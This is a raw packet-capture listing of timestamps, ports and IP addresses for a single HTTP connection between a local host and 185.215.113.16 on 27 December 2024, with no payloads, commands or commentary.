Dec 27, 2024 09:13:08.916038990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.916084051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.916982889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.917062998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.917315006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.918009996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.918113947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.918288946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.919137001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.919209003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.919289112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.920137882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.920265913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.920537949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.923021078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.923033953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.923047066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.923058987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.923083067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.923096895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.977873087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.977895021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.977966070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.026905060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.026922941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.026985884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.027410030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.027422905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.027504921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.028315067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.028331995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.028384924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.029371023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.029448032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.029575109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.030430079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.030512094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.030704021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.031522036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.031614065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.031687975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.032661915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.032687902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.033312082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.033595085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.033706903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.034691095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.034745932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.034780979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.034821033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.035818100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.035921097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.036046028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.036840916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.036915064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.037096977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.037873030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.038105965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.038450956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.038949013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.039026976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.039072037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.040050983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.040095091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.040240049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.041163921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.041275024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.042133093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.042186022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.042228937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.042274952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.043174028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.043278933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.043723106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.044238091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.044357061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.044672012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.045301914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.045408964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.045449972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.046370983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.046482086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.046550989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.047759056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.047913074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.048491001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.048535109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.151890993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.151945114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.152071953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.152168036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.152306080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.153095007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.153270006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.153347969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.153388977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.154309988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.154397964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.154834032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.155376911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.155400991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.155442953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.156491995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.156521082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.156577110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.157521009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.157608986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.157676935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.158577919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.158668995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.159419060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.159636974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.159780025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.160726070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.160784960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.160810947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.160859108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.161767960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.161874056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.161983967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.162837029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.162939072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.162986994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.163909912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.164020061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.164061069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.164937973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.165066957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.165146112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.166055918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.166148901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.166189909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.167126894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.167272091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.167674065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.168174028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.168281078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.168507099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.169239044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.169358015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.169399023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.170301914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.170396090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.170444965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.171367884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.171477079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.171520948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.172444105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.172550917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.172605991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.173496962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.173566103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.173615932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.277631998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.277718067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.277801991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.278141022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.278218985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.278808117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.278820038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.278979063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.279028893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.279901028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.280000925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.280057907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.280951023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.281053066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.281100988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.282006979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.282104969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.282164097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.283119917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.283157110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.283210039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.284123898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.284259081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.284308910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.285202026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.285300970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.285361052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.286283016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.286365986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.286412001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.287336111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.287425041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.287477970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.288397074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.288518906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.288991928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.289431095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.289549112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.289594889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.290517092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.290626049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.290673971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.291605949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.291693926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.291743040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.292674065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.292747021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.292798042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.293747902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.293803930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.293864012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.294801950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.294898033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.294950008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.295840979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.295938015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.295988083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.296910048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.297028065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.297072887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.297940016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.298055887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.298103094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.299021959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.343729019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.353354931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.353370905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.353449106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.402539015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.402605057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.402692080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.403038025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.403171062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.403646946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.404093027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.404200077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.404247999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.405152082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.405261993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.405309916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.406228065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.406317949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.406845093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.407341957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.407469034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.407536983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.408401012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.408478975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.408526897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.409415007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.409514904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.409555912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.410480022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.410588026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.410634995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.411592960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.411669016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.412163019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.412616968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.412698030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.412740946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.413664103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.413758039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.413803101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.414738894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.414836884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.414881945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.415793896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.415988922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.416034937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.416867971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.416996956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.417310953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.417943001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.418044090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.418096066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.418998957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.419104099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.419146061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.420075893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.420173883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.420214891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.421149015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.421263933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.421314955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.422250032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.422298908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.422363043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.423248053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.423362970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.423417091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.527489901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.527508974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.527751923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.527913094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.528037071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.528063059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.528110981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.529117107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.529175043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.529211044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.529829979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.529880047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.529936075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.530896902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.530997038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.531059980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.531939983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.532010078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.532028913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.532993078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.533091068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.533149004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.534085989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.534200907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.534256935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.535159111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.535214901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.535248995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.536207914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.536310911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.536369085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.537261009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.537316084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.537365913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.538340092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.538451910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.538496971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.539388895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.539444923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.539475918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.540462017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.540546894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.540595055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.541522026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.541651964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.541706085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.542598963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.542654037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.542687893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.543647051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.543751955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.543806076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.544759989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.544811010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.544846058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.545789957 CET	80	49743	185.215.113.16	192.168.2.4
